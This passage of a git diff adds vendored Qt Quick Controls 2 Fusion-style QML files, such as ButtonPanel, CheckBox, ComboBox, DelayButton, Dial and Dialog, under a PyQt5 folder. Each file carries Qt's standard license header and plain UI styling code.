+ icon.height: 16 + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.palette.buttonText + } + + background: ButtonPanel { + implicitWidth: 80 + implicitHeight: 24 + + control: control + visible: !control.flat || control.down || control.checked || control.highlighted || control.visualFocus || control.hovered + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ButtonPanel.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ButtonPanel.qml new file mode 100644 index 00000000..125aa2f3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ButtonPanel.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +Rectangle { + id: panel + + property Item control + property bool highlighted: control.highlighted + + visible: !control.flat || control.down || control.checked + + color: Fusion.buttonColor(control.palette, panel.highlighted, control.down || control.checked, control.hovered) + gradient: control.down || control.checked ? null : buttonGradient + + Gradient { + id: buttonGradient + GradientStop { + position: 0 + color: Fusion.gradientStart(Fusion.buttonColor(panel.control.palette, panel.highlighted, panel.control.down, panel.control.hovered)) + } + GradientStop { + position: 1 + color: Fusion.gradientStop(Fusion.buttonColor(panel.control.palette, panel.highlighted, panel.control.down, panel.control.hovered)) + } + } + + radius: 2 + border.color: Fusion.buttonOutline(control.palette, panel.highlighted || control.visualFocus, control.enabled) + + Rectangle { + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + border.color: Fusion.innerContrastLine + color: "transparent" + radius: 2 + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/CheckBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/CheckBox.qml new file mode 100644 index 00000000..edb4c77f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/CheckBox.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.CheckBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + indicator: CheckIndicator { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.palette.windowText + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/CheckDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/CheckDelegate.qml new file mode 100644 index 00000000..1b97b1fd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/CheckDelegate.qml @@ -0,0 +1,87 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.CheckDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 16 + icon.height: 16 + + contentItem: IconLabel { + leftPadding: control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: !control.mirrored ? control.indicator.width + control.spacing : 0 + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.highlighted ? Fusion.highlightedText(control.palette) : control.palette.text + } + + indicator: CheckIndicator { + x: control.mirrored ? control.leftPadding : control.width - width - control.rightPadding + y: control.topPadding + (control.availableHeight - height) / 2 + + control: control + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 20 + color: control.down ? Fusion.buttonColor(control.palette, false, true, true) + : control.highlighted ? Fusion.highlight(control.palette) : control.palette.base + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/CheckIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/CheckIndicator.qml new file mode 100644 index 00000000..7dcfee30 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/CheckIndicator.qml @@ -0,0 +1,92 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +Rectangle { + id: indicator + + property Item control + readonly property color pressedColor: Fusion.mergedColors(control.palette.base, control.palette.windowText, 85) + readonly property color checkMarkColor: Qt.darker(control.palette.text, 1.2) + + implicitWidth: 14 + implicitHeight: 14 + + color: control.down ? indicator.pressedColor : control.palette.base + border.color: control.visualFocus ? Fusion.highlightedOutline(control.palette) + : Qt.lighter(Fusion.outline(control.palette), 1.1) + + Rectangle { + x: 1; y: 1 + width: parent.width - 2 + height: 1 + color: Fusion.topShadow + visible: indicator.control.enabled && !indicator.control.down + } + + ColorImage { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + color: Color.transparent(indicator.checkMarkColor, 210 / 255) + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Fusion/images/checkmark.png" + visible: indicator.control.checkState === Qt.Checked || (indicator.control.checked && indicator.control.checkState === undefined) + } + + Rectangle { + x: 3; y: 3 + width: parent.width - 6 + height: parent.width - 6 + + visible: indicator.control.checkState === Qt.PartiallyChecked + + gradient: Gradient { + GradientStop { + position: 0 + color: Color.transparent(indicator.checkMarkColor, 80 / 255) + } + GradientStop { + position: 1 + color: Color.transparent(indicator.checkMarkColor, 140 / 255) + } + } + border.color: Color.transparent(indicator.checkMarkColor, 180 / 255) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ComboBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ComboBox.qml new file mode 100644 index 00000000..5e26f90e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ComboBox.qml @@ -0,0 +1,176 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Window 2.15 +import QtQuick.Templates 2.15 as T +import QtQuick.Controls 2.15 +import QtQuick.Controls.impl 2.15 +import QtQuick.Controls.Fusion 2.15 +import QtQuick.Controls.Fusion.impl 2.15 + +T.ComboBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + leftPadding: padding + (!control.mirrored || !indicator || !indicator.visible ? 0 : indicator.width + spacing) + rightPadding: padding + (control.mirrored || !indicator || !indicator.visible ? 0 : indicator.width + spacing) + + delegate: MenuItem { + width: ListView.view.width + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] : model[control.textRole]) : modelData + font.weight: control.currentIndex === index ? Font.DemiBold : Font.Normal + highlighted: control.highlightedIndex === index + hoverEnabled: control.hoverEnabled + } + + indicator: ColorImage { + x: control.mirrored ? control.padding : control.width - width - control.padding + y: control.topPadding + (control.availableHeight - height) / 2 + color: control.editable ? control.palette.text : control.palette.buttonText + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Fusion/images/arrow.png" + width: 20 + fillMode: Image.Pad + } + + contentItem: T.TextField { + topPadding: 4 + leftPadding: 4 - control.padding + rightPadding: 4 - control.padding + bottomPadding: 4 + + text: control.editable ? control.editText : control.displayText + + enabled: control.editable + autoScroll: control.editable + readOnly: control.down + inputMethodHints: control.inputMethodHints + validator: control.validator + selectByMouse: control.selectTextByMouse + + font: control.font + color: control.editable ? control.palette.text : control.palette.buttonText + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + verticalAlignment: Text.AlignVCenter + + background: PaddedRectangle { + clip: true + radius: 2 + padding: 1 + leftPadding: control.mirrored ? -2 : padding + rightPadding: !control.mirrored ? -2 : padding + color: control.palette.base + visible: control.editable && !control.flat + + Rectangle { + x: parent.width - width + y: 1 + width: 1 + height: parent.height - 2 + color: Fusion.buttonOutline(control.palette, control.activeFocus, control.enabled) + } + + Rectangle { + x: 1 + y: 1 + width: parent.width - 3 + height: 1 + color: Fusion.topShadow + } + } + + Rectangle { + x: 1 - control.leftPadding + y: 1 + width: control.width - 2 + height: control.height - 2 + color: "transparent" + border.color: Color.transparent(Fusion.highlightedOutline(control.palette), 40 / 255) + visible: control.activeFocus + radius: 1.7 + } + } + + background: ButtonPanel { + implicitWidth: 120 + implicitHeight: 24 + + control: control + visible: !control.flat || control.down + // ### TODO: fix control.contentItem.activeFocus + highlighted: control.visualFocus || control.contentItem.activeFocus + } + + popup: T.Popup { + width: control.width + height: Math.min(contentItem.implicitHeight + 2, control.Window.height - topMargin - bottomMargin) + topMargin: 6 + bottomMargin: 6 + palette: control.palette + padding: 1 + + contentItem: ListView { + clip: true + implicitHeight: contentHeight + model: control.delegateModel + currentIndex: control.highlightedIndex + highlightRangeMode: ListView.ApplyRange + highlightMoveDuration: 0 + + T.ScrollBar.vertical: ScrollBar { } + } + + background: Rectangle { + color: control.popup.palette.window + border.color: Fusion.outline(control.palette) + + Rectangle { + z: -1 + x: 1; y: 1 + width: parent.width + height: parent.height + color: control.palette.shadow + opacity: 0.2 + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/DelayButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/DelayButton.qml new file mode 100644 index 00000000..622de111 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/DelayButton.qml @@ -0,0 +1,116 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.DelayButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + + transition: Transition { + NumberAnimation { + duration: control.delay * (control.pressed ? 1.0 - control.progress : 0.3 * control.progress) + } + } + + contentItem: ItemGroup { + ClippedText { + clip: control.progress > 0 + clipX: -control.leftPadding + (control.mirrored ? 0 : control.progress * control.width) + clipWidth: control.width + visible: control.mirrored ? control.progress > 0 : control.progress < 1 + + text: control.text + font: control.font + color: control.mirrored ? control.palette.brightText : control.palette.buttonText + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + elide: Text.ElideRight + } + + ClippedText { + clip: control.progress > 0 + clipX: -control.leftPadding + clipWidth: (control.mirrored ? 1.0 - control.progress : control.progress) * control.width + visible: control.mirrored ? control.progress < 1 : control.progress > 0 + + text: control.text + font: control.font + color: control.mirrored ? control.palette.buttonText : control.palette.brightText + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + elide: Text.ElideRight + } + } + + background: ButtonPanel { + implicitWidth: 80 + implicitHeight: 24 + + control: control + highlighted: false + scale: control.mirrored ? -1 : 1 + + Rectangle { + width: control.progress * parent.width + height: parent.height + + radius: 2 + border.color: Qt.darker(Fusion.highlight(control.palette), 1.4) + gradient: Gradient { + GradientStop { + position: 0 + color: Qt.lighter(Fusion.highlight(control.palette), 1.2) + } + GradientStop { + position: 1 + color: Fusion.highlight(control.palette) + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Dial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Dial.qml new file mode 100644 index 00000000..a1337242 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Dial.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Dial { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) || 100 // ### remove 100 in Qt 6 + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) || 100 // ### remove 100 in Qt 6 + + background: DialImpl { + implicitWidth: 100 + implicitHeight: 100 + palette: control.palette + highlight: control.visualFocus + } + + handle: KnobImpl { + x: control.background.x + control.background.width / 2 - control.handle.width / 2 + y: control.background.y + control.background.height / 2 - control.handle.height / 2 + width: control.width / 7 + height: control.height / 7 + palette: control.palette + transform: [ + Translate { + y: -Math.min(control.background.width, control.background.height) * 0.42 + control.handle.height + }, + Rotation { + angle: control.angle + origin.x: control.handle.width / 2 + origin.y: control.handle.height / 2 + } + ] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Dialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Dialog.qml new file mode 100644 index 00000000..79e179d9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Dialog.qml @@ -0,0 +1,100 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Dialog { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitHeaderWidth, + implicitFooterWidth) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding + + (implicitHeaderHeight > 0 ? implicitHeaderHeight + spacing : 0) + + (implicitFooterHeight > 0 ? implicitFooterHeight + spacing : 0)) + + padding: 6 + + background: Rectangle { + color: control.palette.window + border.color: control.palette.mid + radius: 2 + + Rectangle { + z: -1 + x: 1; y: 1 + width: parent.width + height: parent.height + color: control.palette.shadow + opacity: 0.2 + radius: 2 + } + } + + header: Label { + text: control.title + visible: control.title + elide: Label.ElideRight + font.bold: true + padding: 6 + background: Rectangle { + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 1 + color: control.palette.window + radius: 2 + } + } + + footer: DialogButtonBox { + visible: count > 0 + } + + T.Overlay.modal: Rectangle { + color: Fusion.topShadow + } + + T.Overlay.modeless: Rectangle { + color: Fusion.topShadow + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/DialogButtonBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/DialogButtonBox.qml new file mode 100644 index 00000000..a0b0f243 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/DialogButtonBox.qml @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.DialogButtonBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + spacing: 6 + padding: 6 + alignment: Qt.AlignRight + + delegate: Button { } + + contentItem: ListView { + model: control.contentModel + spacing: control.spacing + orientation: ListView.Horizontal + boundsBehavior: Flickable.StopAtBounds + snapMode: ListView.SnapToItem + } + + background: Rectangle { + implicitHeight: 32 + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + color: control.palette.window + radius: 2 + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Drawer.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Drawer.qml new file mode 100644 index 00000000..5a23dde1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Drawer.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: 